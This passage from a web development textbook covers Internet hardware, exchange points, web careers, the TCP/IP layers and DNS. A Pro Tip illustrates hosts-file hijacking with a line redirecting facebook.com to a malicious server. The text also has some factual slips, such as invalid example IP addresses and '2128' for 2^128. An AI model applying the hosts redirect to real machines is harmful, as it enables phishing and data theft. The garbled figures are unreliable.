Andrew Blum, in his eye-opening book, Tubes: A Journey to the Center of
the Internet, tells the reader that he decided to investigate the question
“Where is the Internet” when a hungry squirrel gnawing on some outdoor
cable wires disrupted his home connection, thereby making him aware of the
real-world texture of the Internet. While you may not have experienced a
similar squirrel problem, for many of us, our main experience of the
hardware component of the Internet is that which we experience in our
homes. While there are many configuration possibilities, Figure 1.16 does
provide an approximate simplification of a typical home to local Internet



Server Provider (or ISP) setup.

Figure 1.16 Internet hardware
from the home computer to the
local Internet provider
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The broadband modem, also called a cable modem or DSL (digital subscriber
line) modem, is a bridge between the network hardware outside the house
(typically controlled by a phone or cable company) and the network hardware
inside the house. These devices are often supplied by the ISP.



The wireless router is perhaps the most visible manifestation of the Internet in
one's home, in that it is a device we typically need to purchase and install
(although many companies will provide and install these as part of the setup
process). Routers are in fact one of the most important and ubiquitous
hardware devices that make the Internet work. At its simplest, a router is a
hardware device that forwards data packets from one network to another
network. When the router receives a data packet, it examines the packet's
destination address and then forwards it to another destination.

A router uses a routing table to help determine where a packet should be sent.
It is a table of connections between target addresses and the destination
(typically another router) to which the router can deliver the packet. In Figure
1.17 , the different routing tables use next-hop routing, in which the router
only knows the address of the next step of the path to the destination; it
leaves it to that next step to continue the routing process. The packet thus
makes a variety of successive hops until it reaches its destination. There are a
lot of details that have been left out of this particular illustration. Routers will
make use of submasks, timestamps, distance metrics, and routing algorithms
to supplement or even replace routing tables; but those are all topics for a
network architecture course.



Figure 1.17 Simplified routing
tables
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Once we leave the confines of our own homes, the hardware of the Internet
becomes much murkier. In Figure 1.16 , the various neighborhood broadband
cables (which are typically using copper, aluminum, or other metals) are



aggregated and connected to fiber optic cable via fiber connection boxes.
Fiber optic cable (or simply optical fiber) is a glass-based wire that transmits
light and has significantly greater bandwidth and speed in comparison to
metal wires. In some cities (or large buildings), you may have fiber optic
cable going directly into individual buildings; in such a case, the fiber
junction box will reside in the building.

These fiber optic cables eventually make their way to an ISP's head-end,
which is a facility that may contain a cable modem termination system
(CMTS) or a digital subscriber line access multiplexer (DSLAM) in a DSL-
based system. This is a special type of very large router that connects and
aggregates subscriber connections to the larger Internet. These different head-
ends may connect directly to the wider Internet, or instead be connected to a
master head-end, which provides the connection to the rest of the Internet.

1.4.2 From the Local Provider to the
Ocean's Edge
Eventually your ISP has to pass on your requests for Internet packets to other
networks. This intermediate step typically involves one or more regional
network hubs. Your ISP may have a large national network with optical fiber
connecting most of the main cities in the country. Some countries have
multiple national or regional networks, each with their own optical network.
Canada, for instance, has three national networks that connect the major cities
in the country as well as connect to a couple of the major Internet exchange
points in the United States. There are also several provincial networks that
connect smaller cities within one or two provinces. Alternatively, a smaller
regional ISP may have transit arrangements with a larger national network
(that is, they lease the use of part of the larger network's bandwidth).

A general principle in network design is that the fewer the router hops (and
thus the more direct the path), the quicker the response. Figure 1.18 illustrates
some hypothetical connections between several different networks spread
across four countries. As you can see, just like in the real world, the countries
in the illustration differ in their degree of internal and external



interconnectedness.

Figure 1.18 Connecting
different networks within and
between countries
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The networks in Country A are all interconnected, but rely on Network A1 to
connect them to the networks in Country B and C. Network B1 has many
connections to other countries' networks. The networks within Country C and
D are not interconnected, and thus rely on connections to international
networks in order to transfer information between the two domestic networks.
For instance, even though the actual distance between a node in Network C1
and a node in C2 might only be a few miles, those packets might have to
travel many hundreds or even thousands of miles between networks A1
and/or B1.

Clearly, this is an inefficient system, but is a reasonable approximation of the



state of the Internet in the late 1990s (and in some regions of the world, this is
still the case), when almost all Internet traffic went through a few Network
Access Points (NAP), most of which were in the United States.

This type of network configuration began to change in the 2000s, as more
and more networks began to interconnect with each other using an Internet
exchange point (IX or IXP). These IXPs allow different ISPs to peer (that is,
interconnect) with one another in a shared facility, thereby improving
performance for each partner in the peer relationship.

Figure 1.19 illustrates how the configuration shown in Figure 1.18 changes
with the use of IXPs.

Figure 1.19 National and
regional networks using
Internet exchange points
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As you can see, IXPs provide a way for networks within a country to



interconnect. Now networks in Countries C and D no longer need to make
hops out of their country for domestic communications. Notice as well that
for each of the IXPs, there are connections not only with networks within
their country, but also with other countries' networks as well. Multiple paths
between IXPs provide a powerful way to handle outages and keep packets
flowing. Another key strength of IXPs is that they provide an easy way for
networks to connect to many other networks at a single location.7

As you can see in Figure 1.20 , different networks connect not only to other
networks within an IXP, but to the networks of large companies, such as
Microsoft and Facebook are also connecting to multiple other networks
simultaneously as a way of improving the performance of their sites. Real
IXPs, such as at Palo Alto (PAIX), Amsterdam (AMS-IX), Frankfurt (CE-
CIX), and London (LINX), allow many hundreds of networks and companies
to interconnect and have throughput of over 1000 gigabits per second. The
scale of peering in these IXPs is way beyond that shown in Figure 1.20
(which shows peering with only five others); companies within these IXPs
use large routers from Cisco and Brocade that have hundreds of ports
allowing hundreds of simultaneous peering relationships.



Figure 1.20 Hypothetical
Internet exchange point
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In recent years, major web companies have joined the network companies in
making use of IXPs. As shown in Figure 1.21 , this sometimes involves
mirroring (duplicating) a site's infrastructure (i.e., web and data servers) in a
data center located near the IXP. For instance, Equinix Ashburn IX in
Ashburn, Virginia, is surrounded by several gigantic data centers just across
the street from the IXP. This real-world geographic correspondence to the
digital world encapsulates an arrangement that benefits both the networks and
the web companies. The website will have incremental speed enhancements
(by reducing the travel distance for these sites) across all the networks it is
peered with at the IXP, while the network will have improved performance
for its customers when they visit the most popular websites.



Figure 1.21 IXPs and data
centers
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1.4.3 Across the Oceans
Eventually, international Internet communication will need to travel
underwater. The amount of undersea fiber optic cable is quite staggering and
is growing yearly. As can be seen in Figure 1.22 , over 250 undersea fiber



optic cable systems operated by a variety of different companies span the
globe. For places not serviced by undersea cable (such as Antarctica, much of
the Canadian Arctic islands, and other small islands throughout the world),
Internet connectivity is provided by orbiting satellites. It should be noted that
satellite links (which have smaller bandwidth in comparison to fiber optic)
account for an exceptionally small percentage of oversea Internet
communication.

Figure 1.22 Undersea fiber
optic cables
(courtesy TeleGeography/www.submarinecablemap.com)
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1.5 Working in Web Development
At the beginning of the chapter, Figure 1.1 illustrated the complex ecosystem
that is contemporary web development. Seeing that diagram, you should not
be surprised to learn that there are many different jobs that one can do within
the web development world. This final section of the chapter will try to
clarify some of these employment possibilities available with web
development.

Fifteen years ago, this would have been a much simpler section. Back then,
there were web developers, web designers, and webmasters. However, as the
web has evolved and expanded in complexity, the range of roles (and the
names used to describe them) has also expanded. Furthermore, the
terminology to describe web development activities keeps changing. Ten
years ago, a web programmer was someone who did server-side
development, perhaps in PHP or ASP.NET. As JavaScript became more
important to web development, a distinction between front-end development
(JavaScript) and back-end development (PHP/ASP.NET/etc) made its way
into high-tech job ads. As you can see in the following list, today there are
even more distinctions in the web development job world.8,9

With so many distinct areas that one can become an expert in, it's comforting
to realize that web development is a team effort. Building and maintaining a
web presence requires more than technical ability, and many brilliant
developers are not also brilliant artists, designers, managers, and marketing
experts. Working in the world of web development therefore usually requires
a team of people with various complementary skill sets as well as some areas
of overlap and cooperation.

1.5.1 Roles and Skills
As a student of web development, you might be interested in knowing which
jobs are out there and which skills are required for them. This list of job titles



(illustrated a little cheekily in Figure 1.23 ) provides an overview of the roles
typically available in a web development company as part of a team. A
crucial factor beyond the job description is the type and culture of the
company, summarized in the next section.

Figure 1.23 Web development
roles and skills
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Hardware Architect/Network
Architect/Systems Engineer
The people who design the specifications for the servers in a data center, and
design and manage the layout of the physical and logical network are
essential somewhere along the way, whether at your company or your host's.
Typically, these roles require networking and operating systems knowledge
that is usually covered in other computing courses outside of web
development.

System Administrator
Once the system is built and wired to the network, system administrators are
the next people required to get things up and running. Often they choose and
install the network operating system, then manage the shared operating
system environments for other users. This position is often combined with the
hardware architect in smaller firms, and is on call, since a broken hard drive
on Saturday morning cannot wait two days to be fixed.

Database Administrator/Data
Architect
The database administrator (sometimes abbreviated as DBA) is a role found
in larger companies. In these companies, there are many databases, often
from many divisions, all of which need to be managed, secured, and backed
up. Database administrators will perform maintenance on the databases as
well as manage access for user and software accounts. They sometimes write
triggers and advanced queries for users upon request as well as manage
database indexes.



A data architect has some overlap with database administrator, but the role is
more focused on the design and integration of data. In recent years, managing
and making use of large sets of often unrelated data has become increasingly
important for web companies. In smaller companies, these different data roles
are often combined with the system administrator and/or developer ones.

Security
Specialist/Consultant/Expert
A good system administrator and network architect will certainly have
insights into security as they perform their duties. However, because security
is so vital to web development in general, and because the knowledge
necessary to do security work is complicated and ever changing, it is not
uncommon for companies to outsource their security needs to security
specialists. These specialists will test for vulnerabilities, implement security
best practices, and make updates and changes to programming code or
hardware infrastructure to protect a site against well-known or newly
emerging (called zero-hour) threats.

Developer/Programmer
Programmers can be assigned a wide range of tasks aside from simple
coding. Writing good documentation, using version control software,
engaging in code reviews, running test cases, and more might be typical
tasks, depending on company practices. Programmer positions often begin at
the entry level, with higher-level design decisions left to software engineers
and senior developers. In terms of the web development world, the terms
programmers or developer are quite broad; typically, however, this term is
used to indicate a job focused more on server-side development using
languages like PHP.

Front-End Developer/UX Developer



Increasingly complex front-end development requires software developers
with an aptitude for graphical user interface design (nowadays more typically
referred to as user-experience or UX design) and an understanding of human–
computer interaction (HCI) principals. This typically requires in-depth
JavaScript expertise along with good CSS skills. Another increasingly
commonly used synonym for front-end developer is UX developer. The main
difference between a UX developer and a UX/UI designer (described below),
is that the UX developer is involved mainly in the implementation of the user
experience and less in the actual design of it.

Software Engineer
A software engineer is a programmer who is adept at the language of analysis
and design, and uses established best practices in the development of
software. Sometimes the role of a programmer and software engineer are
used interchangeably, but a software engineer has more knowledge of the
software development life cycle and can effectively gather requirements and
speak with clients about technical and business matters.

UX Designer/UI
Designer/Information Architect
These are names used somewhat interchangeably for jobs that focus on the
structure, design and usability of a website. Once referred to as the user
interface, the term UX has become the preferred term because improving how
a website is used is just as important (or even more important) nowadays as
improving how a website appears. While coding skills can be helpful, this
type of work more often involves the development of prototypes, making
mockup designs, and analyzing user experience data. In larger web
development firms, this type of work also commonly involves working in
conjunction with creatives in the art department.



Tester/Quality Assurance
Testers are the people who try to identify flaws in software before it gets
released. This type of work is often called quality assurance (QA). Although
some test roles are for nonexperts, many testers know how to program and
might write automated tests as well as develop testing plans from
requirements. Although these duties are often integrated with developers,
they can form a job all their own.

SEO Specialist
Search engine optimization (SEO) refers to the process of improving the
discoverability of web content by search engines. Chapter 23 covers both the
above board (as well as the under-handed) techniques used to improve SEO
results. An SEO specialist needs to be familiar with these techniques as well
as analytics, testing approaches, social networking APIs, and even content
creation strategies.

Content Strategists/Marketing
Technologist
Regardless of technological features, websites ultimately succeed due to the
quality of their content. A content strategist (sometimes also called a
marketing technologist) is someone who uses his or her experience with
existing and emerging web technologies in conjunction with knowledge
about the audience to craft engaging web content. This type of work might
also be done by an SEO specialist or an information architect. Writing and
marketing skills as well as knowledge of content management systems, email
services, and social networking interfaces are important for this job.

Project Manager/Product Manager



Websites are complicated projects often involving the work of many different
people with different skill sets and personalities. Getting all these people to
work together in a timely and effective manner typically requires the
committed effort and knowledge of project managers (also called product
managers). Knowledge of planning and estimation methodologies is helpful,
as are more general people management skills.

Business Analyst
Although a software engineer in an analysis role might speak to clients and
get requirements, that role is often given a different name and assigned to
someone with especially good communication skills. A business analyst is
the interface between the various divisions of the company and the website
(and IT in general). These people can easily speak to the HR, marketing, and
legal divisions, and then translate those requirements into tasks that software
engineers can take on.

Nontechnical Roles
Aside from all the technical roles above, there are additional important roles
that require expertise outside of technology. These roles include traditional
ones found in almost every company: accountants, writers, designers, editors,
lawyers, salespeople, and managers. There are also a wide variety of new
roles that are unique to the web space,10 such as analytics manager, motion
designer, social media analyst, cloud architect, and the intriguingly named
growth hacker. Getting people from different backgrounds with different
expertise to work together is how companies balance the business,
technology, and art of website development.

Pro Tip
Two new terms are becoming increasingly popular in regards to web



development employment. One of these is full-stack developer. In the list of
web roles, you will see that specialization of skills is the main focus. A full-
stack developer is the opposite. In Figure 1.23 , you can see the full-stack
developer appears multiple times, roaming up and down the stairs between
different job roles. This was our way of visualizing the unique (some say
impossible) nature of the full-stack developer.

Rather than specializing in server-side development, or client-side user
experience construction, or database administration, a full-stack developer
ideally has competency and experience in all of these domains. Indeed, many
companies even expect full-stack developers to be knowledgeable about
various system administration tasks, such as setting up a web server and
handling security issues. Looking at the list of chapters in this book, you will
see that this is in fact the goal of the book: to turn the reader into a full-stack
developer!

Another term that is used in conjunction with web development employment
is DevOps (Development and Operations). Like the above full-stack
developer, DevOps refers to integration rather than specialization. For most
people who use the term, DevOps refers to a development methodology in
which developers, testers, and others on the operations or hardware side work
together right from the beginning of the development process11. We have
tried to integrate a little bit of the DevOps ideals into the design of our
textbook by discussing in this chapter some of the typical deployment
infrastructures of real-world web sites. Chapter 22 on server administration
and virtualization focuses on the operations side of web development. That
chapter appears late in the book, but that does not mean its contents are not
important. From a DevOps perspective, it contains vital information for web
developers, and we encourage the reader to be willing to explore DevOps in
more detail.

1.5.2 Types of Web Development
Companies
A major factor to consider when thinking about a career in web development



is what kind of company you want to work for. Sure, everyone needs a
website, but there are multiple kinds of companies that work together to make
that a possibility (illustrated in Figure 1.24 ).



Figure 1.24 Web development
companies

Figure 1.24 Full Alternative Text

Hosting Companies
Back in section 1.3.6, we learned that there are companies that will manage
servers on your behalf. These hosting companies or data centers offer many
employment opportunities, especially related to hardware, networking, and
system administration roles.

Design Companies
Design companies are at the opposite end of the spectrum, with few technical
positions available. These firms will provide professional artistic and design
services that might go beyond the web and include logos and branding in
general. Some companies produce mockups in Photoshop, for example,
which a web developer (at another company) can then turn into a website.

Website Solution Companies
Website solution companies focus on the programming and deployment of
websites for their clients. There are technical positions to help manage the
existing sites (working in conjunction with hosting companies) as well as
development jobs to build the latest custom site.

Vertically Integrated Companies



Vertically integrated companies are increasingly becoming the one-stop shop
for web development. They are called vertically integrated because these
companies combine hosting, design, and application solutions into one
company. This allows these companies to achieve economies of scale and
appeal to nontechnical clients who can go there for all their web-related
needs, large or small.

Start-Up Companies
Start-up ventures in web development have been some of the biggest success
stories in the business world. Start-ups are often attractive places for new
graduates to work, with less competition from experienced candidates and
potentially lots of jobs available from developers to designers and system
administrators. The smaller start-ups companies often require full-stack
developers, who can take on any role from system administrator through to
lead developer.

Internal Web Development
Although many companies outsource their web presence, others assign the
work to an internal division, normally under the umbrella of IT or marketing.
Although many of these roles are simple caretaker positions, others can be
quite engaging, requiring real programming expertise. Many companies have
lots of internal data they would not share with outsiders and thus prefer in-
house expertise for the development of web interfaces and systems to manage
and display that confidential data. Often these websites exist only with an
organization's Intranet rather than as public websites on the Internet.

Dive Deeper
When you are starting out as a web developer, it can be daunting to compete
in the web employment market. While a solid resume can help you, perhaps



the most crucial step in successfully landing web development work is the
creation of an online portfolio.

In the visual design fields, portfolios are an established and integral method
for demonstrating a student's abilities to prospective employees. In the web
development world, portfolios have also become an essential way to sell
yourself and your abilities. Arguably, an attractive and compelling online
portfolio is likely to be much more important than a printed resume.

We would strongly encourage you to construct a personal site that can act as
both a resume and a portfolio. Besides the usual biographical information,
what other sorts of things should you put in your portfolio? As a student, you
likely do not many (or any) real-world projects to show a prospective
employer. You do however have student projects, assignments, and lab
exercises. Display screen captures of your student work in your portfolio, and
describe the technologies and techniques you mastered in the creation of the
work. Be willing in your spare time to improve these works to make them
(and you) look more impressive.

If your skills center more on the programming side (that is, you have fewer
impressive visuals to show off), you may want to give prospective employers
access to your programming code. There are various ways of doing so.
Perhaps the most important one is the Github website (shown in Figure 1.25
), which we will cover in more depth later in the book. Github has become an
essential element in the contemporary web development workflow, so we
strongly recommend taking the time to learn it and make use of it.



Figure 1.25 The Github website
Figure 1.25 Full Alternative Text

If your skills and experience are mainly on the front-end side of web
development (that is, HTML, CSS, and JavaScript), code playgrounds such
as JSFiddle, JSBin, and codepen.io are another way for you to show off your



work. These code playgrounds are ideal for publicly sharing smaller snippets
of code, and are thus a great way to experiment and to demonstrate your
competencies in front-end technologies.



1.6 Chapter Summary
This chapter has been broad in its coverage of how the Internet and the web
work. It began with a short history of the Internet and how those early
choices are still affecting the web today. The chapter provided a picture of the
client and server as well as the hardware component of the web and the
Internet, from your home router, to gigantic web farms, to the many tentacles
of undersea and overland fiber optic cable. Finally, some insight into careers
and companies in web development provided the context where you will
eventually apply the skills learned by working through this textbook.

1.6.1 Key Terms
application server

authentication server

bandwidth

broadband modem

cable modem termination system

circuit switching

client

client-server model

data center

database server

DevOps



dynamic website

failover redundancy

fiber optic cable

full-stack developer

HTTP

intranet

Internet exchange point (IX or IXP)

Internet service provider (ISP)

load balancers

mail server

media server

Mosaic

Netscape Navigator

Network Access Points (NAP)

next-hop routing

packet

packet switching

peer

peer-to-peer model

request



Request for Comments (RFC)

request-response loop

response

router

routing table

semantic web

server

server farm

server racks

shared hosting

static website

user experience

virtual server

webmaster

Web 2.0

World Wide Web Consortium (W3C)

1.6.2 Review Questions
1. 1. What are the advantages of packet switching in comparison to circuit

switching?

2. 2. What are the five essential elements of the early web that are still the



core features of the modern web?

3. 3. Describe the relative advantages and disadvantages of web-based
applications in comparison to traditional desktop applications.

4. 4. What is an intranet?

5. 5. What is a dynamic web page? How does it differ from a static page?

6. 6. What does Web 2.0 refer to?

7. 7. What is the client-server model of communications? How does it
differ from peer-to-peer?

8. 8. Discuss the relationship between server farms, data centers, and
Internet exchange points. Be sure to provide a definition for each.

9. 9. What kinds of jobs are available in web development? That is,
describe the broad job categories within web development.

10. 10. What sorts of service can a company offer in the web development
world?

11. 11. What is a full-stack developer? What types of companies typically
hire full-stack developers?
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2 How the Web Works



Chapter Objectives
In this chapter you will learn …

The fundamental protocols that make the web possible

How the domain name system works

Why HTTP is more than just a four-letter abbreviation

How browsers and servers work to exchange and interpret HTML

The World Wide Web (WWW) relies on a number of systems, protocols, and
technologies all working together in unison. Before learning about HTML
(Hypertext Markup Language) markup, CSS styling, JavaScript, and PHP
programming, you must understand the key web and Internet technologies
and protocols applicable to the web developer. This chapter describes crucial
web protocols and concepts, such as domain names, URLs, browsers, and
HTTP headers. While you may not remember everything fully after a first
reading, this chapter is worth coming back to later as concepts in subsequent
chapters on HTML, JavaScript, and PHP build on these practical and
fundamental ideas.



2.1 Internet Protocols
The Internet exists today because of a suite of interrelated communications
protocols. A protocol is a set of rules that partners use when they
communicate. We have already described one of these essential Internet
protocols back in Chapter 1, TCP/IP.

These protocols have been implemented in every operating system, and make
fast web development possible. If web developers had to keep track of packet
routing, transmission details, domain resolution, checksums, and more, it
would be hard to get around to the matter of actually building websites.
Despite the fact that these protocols work behind the scenes for web
developers, having some general awareness of what the suite of Internet
protocols does for us can at times be helpful.

2.1.1 A Layered Architecture
The TCP/IP Internet protocols were originally abstracted as a four-layer
stack.1,2 Later abstractions subdivide it further into five or seven layers.3
Since we are focused on the top layer anyhow, we will use the earliest and
simplest four-layer network model shown in Figure 2.1 .



Figure 2.1 Four-layer network
model

Figure 2.1 Full Alternative Text

Layers communicate information up or down one level, but needn't worry
about layers far above or below. Lower layers handle the more fundamental
aspects of transmitting signals through networks, allowing the higher layers
to implement bigger ideas like how a client and server interact.

2.1.2 Link Layer



The link layer is the lowest layer, responsible for both the physical
transmission of data across media (both wired and wireless) and establishing
logical links. It handles issues like packet creation, transmission, reception,
error detection, collisions, line sharing, and more. The one term here that is
sometimes used in the Internet context is that of MAC (media access control)
addresses. These are unique 48- or 64-bit identifiers assigned to network
hardware and which are used at the link layer. We will not focus on this layer
any further, although you can learn more in a computer networking course or
text.

2.1.3 Internet Layer
The Internet layer (sometimes also called the IP Layer) routes packets
between communication partners across networks. The Internet layer
provides “best effort” communication. It sends out a message to its
destination, but expects no reply, and provides no guarantee the message will
arrive intact, or at all.

The Internet uses the Internet Protocol (IP) addresses, which are numeric
codes that uniquely identify destinations on the Internet. As can be seen in
Figure 2.2 , every device connected to the Internet has such an IP address.



Figure 2.2 IP addresses and the
Internet

Figure 2.2 Full Alternative Text

The details of the IP addresses can be important to a web developer. There
are occasions when one needs to track, record, and compare the IP address of
a given web request. Online polls, for instance, need to consider IP addresses
to ensure a given address does not vote more than once.

There are two types of IP addresses: IPv4 and IPv6. IPv4 addresses are the IP
addresses from the original TCP/IP protocol. In IPv4, 12 numbers are used
(implemented as four 8-bit integers), written with a dot between each integer



(Figure 2.3 ). Since an unsigned 8-bit integer's maximum value is 255, four
integers together can encode approximately 4.2 billion unique IP addresses.

Figure 2.3 IPv4 and IPv6
comparison

Figure 2.3 Full Alternative Text

Your IP address will generally be assigned to you by your Internet service
provider (ISP). In organizations, large and small, purchasing extra IP
addresses from the ISP is not cost effective. In a local network, computers
can share a single external IP address between them. IP addresses in the
range of 192.168.0.0 to 192.168.255, for example, are reserved for exactly
this local area network use. Your connection therefore might have an internal
IP of 192.168.0.15 known only to the internal network, and another public IP
address that is your address to the world.

Hands-on Exercises Lab 2
Exercise



Your IP address

The decision to make IP addresses 32 bits limited the number of hosts to 4.2
billion. As more and more devices connected to the Internet the supply of
addresses dwindled, especially in some local areas that had already
distributed their allotment.

To future-proof the Internet against the 4.2 billion limit, a new version of the
IP protocol was created, IPv6. This newer version uses eight 16-bit integers
for 2128 unique addresses, over a billion billion times the number in IPv4.
These 16-bit integers are normally written in hexadecimal, due to their longer
length. This new addressing system is currently being rolled out with a
number of transition mechanisms, making the rollout seamless to most users
and even developers.

Figure 2.3 compares the IPv4 and IPv6 address schemes.

Background
You may be wondering who gives an ISP its IP addresses. The answer is
ultimately the Internet Assigned Numbers Authority (IANA). This group is
actually a department of ICANN, the Internet Corporation for Assigned
Names and Numbers, which is an internationally organized nonprofit
organization responsible for the global coordination of IP addresses, domains,
and Internet protocols. IANA allocates IP addresses from pools of
unallocated addresses to Regional Internet Registries, such as AfriNIC (for
Africa) or ARIN (for North America).

2.1.4 Transport Layer
The transport layer ensures transmissions arrive in order and without error.
This is accomplished through a few mechanisms. First, the data is broken into
packets formatted according to the Transmission Control Protocol (TCP).
The data in these packets can vary in size from 0 to 64 K, though in practice



typical packet data size is around 0.5 to 1 K. Each data packet has a header
that includes a sequence number, so the receiver can put the original message
back in order, no matter when they arrive. Secondly, each packet
acknowledges its successful arrival back to the sender so in the event of a lost
packet, the transmitter will realize a packet has been lost since no ACK
arrived for that packet. That packet is retransmitted, and although out of
order, is reordered at the destination, as shown in Figure 2.4 . This means you
have a guarantee that messages sent will arrive and will be in order. As a
consequence, web developers don't have to worry about pages not getting to
the users.

Hands-on Exercises Lab 2
Exercise
Tracing a Packet



Figure 2.4 TCP packets
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Pro Tip
Sometimes we do not want guaranteed transmission of packets. Consider a
live multicast of a soccer game, for example. Millions of subscribers may be
streaming the game, and the broadcaster can't afford to track and retransmit



every lost packet. A small loss of data in the feed is acceptable, and the
customers will still see the game. An Internet protocol called User Datagram
Protocol (UDP) is used in these scenarios in lieu of TCP. Other examples of
UDP services include Voice Over IP, many online games, and Domain Name
System (DNS).

2.1.5 Application Layer
With the application layer, we are at the level of protocols familiar to most
web developers. Application layer protocols implement process-to-process
communication and are at a higher level of abstraction in comparison to the
low-level packet and IP address protocols in the layers below it.

There are many application layer protocols. A few that are useful to web
developers include the following:

HTTP. The Hypertext Transfer Protocol is used for web communication.

SSH. The Secure Shell Protocol allows remote command-line
connections to servers.

FTP. The File Transfer Protocol is used for transferring files between
computers.

POP/IMAP/SMTP. Email-related protocols for transferring and storing
email.

DNS. The Domain Name System protocol used for resolving domain
names to IP addresses.

Note
We will discuss the HTTP and the DNS protocols later in this chapter. SSH
and the email protocols will be covered later in the book in the chapter on
security.



Tools Insight
Although the web uses HTTP to transfer files between the browser and
server, managing those files on a server is normally facilitated using the FTP,
SFTP (secure FTP), or SSH protocols. Web developers and designers must
all learn to transfer files they have worked on locally to a web server.

Many software tools including open source programs like FileZilla,
command line tools like ftp and scp, as well as modules built into Integrated
Development Environments (IDE) like Eclipse facilitate transferring files
between a local computer and a remote server. Figure 2.5 shows a screen
capture from FileZilla, a popular and easy-to-use FTP client, where local files
can be transferred between client (left) and server (right) by dragging and
dropping files between the windows.



Figure 2.5 A screenshot of
FileZilla connecting to a remote



server
Figure 2.5 Full Alternative Text



2.2 Domain Name System
In the previous section, you learned about IP addresses and how they are an
essential feature of how the Internet works. As elegant as IP addresses may
be, human beings do not enjoy having to recall long strings of numbers. One
can imagine how unpleasant the Internet would be if you had to remember IP
addresses instead of names. Rather than google.com, you'd have to type
216.58.216.78. If you had to type in 173.252.90.36 to visit Facebook, it is
quite likely that social networking would be a less popular pastime.

Hands-on Exercises Lab 2
Exercise
Name Servers

Even as far back as the days of ARPANET, researchers assigned domain
names to IP addresses. In those early days, the number of Internet hosts was
small, so a list of a few hundred domains and associated IP addresses could
be downloaded as needed from the Stanford Research Institute (now SRI
International) as a hosts file (see Pro Tip). Those key-value pairs of domain
names and IP addresses allowed people to use a domain name rather than an
IP address.4

As the number of computers on the Internet grew, this hosts file had to be
replaced with a better, more scalable, and distributed system. This system is
called the Domain Name System (DNS) and is shown in its most simplified
form in Figure 2.6 .

http://google.com


Figure 2.6 DNS overview
Figure 2.6 Full Alternative Text

DNS is one of the core systems that make an easy-to-use Internet possible
(DNS is used for email as well). The DNS system has another benefit besides
ease of use. By separating the domain name of a server from its IP location, a
site can move to a different location without changing its name. This means
that sites and email systems can move to larger and more powerful facilities
without disrupting service.

Since the entire request-response cycle can take less than a second, it is easy
to forget that DNS requests are happening in all your web and email
applications. Awareness and understanding of the DNS system is essential for



success in developing, securing, deploying, troubleshooting, and maintaining
web systems.

Pro Tip
A remnant of those earliest days still exists on most modern computers,
namely the hosts file. Inside that file (in Unix systems typically at /etc/hosts)
you will see domain name mappings in the following format:

127.0.0.1 Localhost  SomeLocalDomainName.com

This mechanism will be used in this book to help us develop websites on our
own computers with real domain names in the address bar.

Unfortunately, this same hosts file mechanism could also allow a malicious
user to reroute traffic destined for a particular domain. If a malicious user ran
a server at 123.56.789.1 they could modify a user's hosts to make
facebook.com point to their malicious server. The end client would then type
facebook.com into his browser and instead of routing that traffic to the
legitimate facebook.com servers, it would be sent to the malicious site, where
the programmer could phish, or steal data.

123.456.678.1  facebook.com

For this reason, many system administrators and most modern operating
systems do not allow access to this file without an administrator password.

2.2.1 Name Levels
A domain name can be broken down into several parts. They represent a
hierarchy, with the rightmost parts being closest to the root at the “top” of the
Internet naming hierarchy. All domain names have at least a top-level domain
(TLD) name and a second-level domain (SLD) name. Most websites also
maintain a third-level WWW subdomain and perhaps others. Figure 2.7
illustrates a domain with four levels.

http://facebook.com
http://facebook.com
http://facebook.com


Figure 2.7 Domain levels
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The rightmost portion of the domain name (to the right of the rightmost
period) is called the top-level domain. For the top level of a domain, we are
limited to two broad categories, plus a third reserved for other use. They are:

Generic top-level domain (gTLD)

Unrestricted. TLDs include .com, .net, .org, and .info.

Sponsored. TLDs including .gov, .mil, .edu, and others. These
domains can have requirements for ownership and thus new
second-level domains must have permission from the sponsor
before acquiring a new address.



New. From January to May of 2012, companies and individuals
could submit applications for new TLDs. TLD application results
were announced in June 2012, and include a wide range of both
contested and single applicant domains. These include corporate
ones like .apple, .google, and .macdonalds, and contested ones like
.buy, .news, and .music.5

Country code top-level domain (ccTLD)

TLDs include .us, .ca, .uk, and .au. At the time of writing, there
were 252 codes registered.6 These codes are under the control of
the countries which they represent, which is why each is
administered differently. In the United Kingdom, for example,
commercial entities and businesses must register subdomains to
co.uk rather than second-level domains directly. In Canada, .ca
domains can be obtained by any person, company, or organization
living or doing business in Canada. Other countries have peculiar
extensions with commercial viability (such as .tv for Tuvalu) and
have begun allowing unrestricted use to generate revenue.

Since some nations use nonwestern characters in their native
languages, the concept of the internationalized top-level domain
name (IDN) has also been tested with great success in recent years.
Some IDNs include Greek, Japanese, and Arabic domains (among
others) which have test domains at http://παράδειγμα.δoιμή, http://
例え.テスト, and http:// رابتخإ . لاثم , respectively.

arpa

The domain .arpa was the first assigned top-level domain. It is still
assigned and used for reverse DNS lookups (i.e., finding the
domain name of an IP address).

In a domain like funwebdev.com, the “.com” is the top-level domain and
funwebdev is called the second-level domain. Normally, it is the second-level
domains that one registers.

There are few restrictions on second-level domains aside from those imposed

http://funwebdev.com


by the registrar (defined in the next section). Except for internationalized
domain names, we are restricted to the characters A-Z, 0-9, and the “-”
character. Since domain names are case-insensitive, a-z can also be used
interchangeably.

The owner of a second-level domain can elect to have subdomains if they so
choose, in which case those subdomains are prepended to the base hostname.
For example, we can create exam-answers.funwebdev.com as a domain
name, where exam-answers is the subdomain (don't bother checking … it
doesn't exist).

Note
We could go further creating sub-subdomains if we wanted to. Each further
level of subdomain is prepended to the front of the hostname. This allows
third level, fourth, and so on. This can be used to identify individual
computers on a network all within a domain.

2.2.2 Name Registration
As we have seen, domain names provide a human-friendly way to identify
computers on the Internet. How then are domain names assigned? Special
organizations or companies called domain name registrars manage the
registration of domain names. These domain name registrars are given
permission to do so by the appropriate generic top-level domain (gTLD)
registry and/or a country code top-level domain (ccTLD) registry.

In the 1990s, a single company (Network Solutions Inc.) handled the com,
net, and org registries. By 1999, the name registration system changed to a
market system in which multiple companies could compete in the domain
name registration business. A single organization—the nonprofit Internet
Corporation for Assigned Names and Numbers (ICANN)—still oversees the
management of top-level domains, accredits registrars, and coordinates other
aspects of DNS. At the time of writing this chapter, there were almost 1000



different ICANN-accredited registrars worldwide. Figure 2.8 illustrates the
process involved in registering a domain name.

Figure 2.8 Domain name



registration process
Figure 2.8 Full Alternative Text

Pro Tip
Increasingly, the practice of buying domain names and attempting to resell
has gained notoriety. Although there are legitimate reasons why multiple
people or companies could want the same domain name, many people
attempt to make money by simply buying names that others might want, and
sitting on them until someone buys the domain away to a actually use (hence
the term domain squatting).

In practice, this means that when registering a domain name, you should
consider other versions and variations of the name that might be worth
registering at the same time. Owning a suite of domain names can help to
prevent confusion, and mitigate the threat of squatters selling the domain
back to you at an inflated price. It also means users should pay attention to
